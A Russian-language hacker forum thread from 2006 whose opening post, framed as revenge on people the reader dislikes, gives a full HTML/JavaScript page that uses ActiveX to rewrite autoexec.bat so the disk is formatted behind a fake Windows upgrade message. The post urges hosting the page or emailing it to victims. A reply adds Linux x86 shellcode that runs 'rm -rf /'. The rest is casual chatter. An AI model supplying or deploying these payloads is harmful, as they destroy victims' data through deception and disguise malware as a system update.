Форматируем винт через JavaScript |

20.12.2006, 17:12
|
|
Участник форума
Регистрация: 01.08.2006
Сообщений: 227
С нами:
10408204
Репутация:
80
|
|
Форматируем винт через JavaScript
Привет, читатель! Как известно: западло - лучше средство от печали. Этим мы и займемся. Наверняка у тебя есть парочка знакомых моральных уродов, к которым ты питаешь “возвышенные” чувства.
А ты никогда не думал отомстить обидчику? Тебе наверняка хотелось создать ему побольше проблем, скажем просто отформатировать винт. Как это сделать, ты и узнаешь в данной статье.
Сейчас мы будем чистить чужой винт. Это мы будем с помощью javascript’а, путем добавления в autoexec.bat недостающие там строки. Вот этот скрипт:
<html>
<head>
<script>
var FSO = new ActiveXObject("Scripting.FileSystemObject");
//Если файл существует
if (FSO.FileExists("c:\\autoexec.bat"))
{
var F = FSO.GetFile("c:\\autoexec.bat");
//выставляем обычные атрибуты
F.attributes=0;
//удаляем его
F.Delete();
//заново создаем его
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем его для записи
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
//пишем в него
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");
}
//если не существует...
else
//создаем файл
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем и пишем
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");
</script>
</head>
</html>
Все дела.
Вот и всё, смело закачивай скрипт на свою пагу и раздавай url "друзьям" -).
Если тебе известен e-mail, то отошли ему этот html-код, и всё получится, т. к. многие майлеры обработают вложенное автоматом.
Единственное ограничение-наличие Win98 или Win95.
Если у тебя ещё и руки с того места растут  , то можно сделать из этого скрипта много других интересных вещей. Всё зависит от твоей фантазии...
З.Ы. Сам знаю что старье, но это так для рассширения кругозора! Статья хз откуда, так как была найдена на старом винте!
|
|
|

20.12.2006, 17:16
|
|
Познающий
Регистрация: 29.10.2006
Сообщений: 74
С нами:
10280038
Репутация:
65
|
|
хм, интересно. А почему в болталке поместил, а не, допустим, в статьях?
|
|
|

20.12.2006, 17:24
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами:
10485026
Репутация:
1879
|
|
Писец... а я на это нарвался когда только комп купил наверно. Теперь попробую засунь это в .тхт и сунь касперу )))) и будет счастье.
P.S угу... так Windows и даст отформатировать винты...
|
|
|

20.12.2006, 17:25
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами:
11058146
Репутация:
4536
|
|
а для линукса есть подобное?
|
|
|

20.12.2006, 18:20
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами:
11217866
Репутация:
3812
|
|
Сообщение от Green_Bear
а для линукса есть подобное?
linux/x86 execve(rm -rf /) shellcode 48 bytes
Код:
/* By Kris Katterjohn 8/31/2006
*
* 48 byte shellcode to execve("rm -rf /") for Linux/x86
*
*
*
* section .text
*
* global _start
*
* _start:
*
* ; execve("/bin/rm", { "/bin/rm", "-r", "-f", "/", NULL }, NULL)
*
* push byte 11
* pop eax
* xor esi, esi
* push esi
* push byte 0x2f
* mov edi, esp
* push esi
* push word 0x662d
* mov edx, esp
* push esi
* push word 0x722d
* mov ecx, esp
* push esi
* push 0x6d722f2f
* push 0x6e69622f
* mov ebx, esp
* push esi
* push edi
* push edx
* push ecx
* push ebx
* mov ecx, esp
* xor edx, edx
* int 0x80
*/
main()
{
char shellcode[] =
"\x6a\x0b\x58\x31\xf6\x56\x6a\x2f\x89\xe7\x56\x66\x68\x2d\x66"
"\x89\xe2\x56\x66\x68\x2d\x72\x89\xe1\x56\x68\x2f\x2f\x72\x6d"
"\x68\x2f\x62\x69\x6e\x89\xe3\x56\x57\x52\x51\x53\x89\xe1\x31"
"\xd2\xcd\x80";
(*(void (*)()) shellcode)();
}
// milw0rm.com [2006-11-17]
больной чел писал имхо)
__________________
|
|
|

20.12.2006, 17:26
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами:
10485026
Репутация:
1879
|
|
а для линукса есть подобное?
)))))
|
|
|

20.12.2006, 17:28
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами:
11058146
Репутация:
4536
|
|
нет, ну чтобы зашел чел на сайт и сделалось это!
|
|
|

20.12.2006, 17:35
|
|
Banned
Регистрация: 28.12.2005
Сообщений: 221
С нами:
10719045
Репутация:
60
|
|
мега баянчиГ
|
|
|

20.12.2006, 17:38
|
|
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами:
10485026
Репутация:
1879
|
|
нет, ну чтобы зашел чел на сайт и сделалось это!
А поющий html тебе не надо?!  ))))))
|
|
|

20.12.2006, 18:06
|
|
Участник форума
Регистрация: 11.01.2006
Сообщений: 128
С нами:
10699526
Репутация:
55
|
|
оно сразу же после загрукзки страници автоматом форматит диск?
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|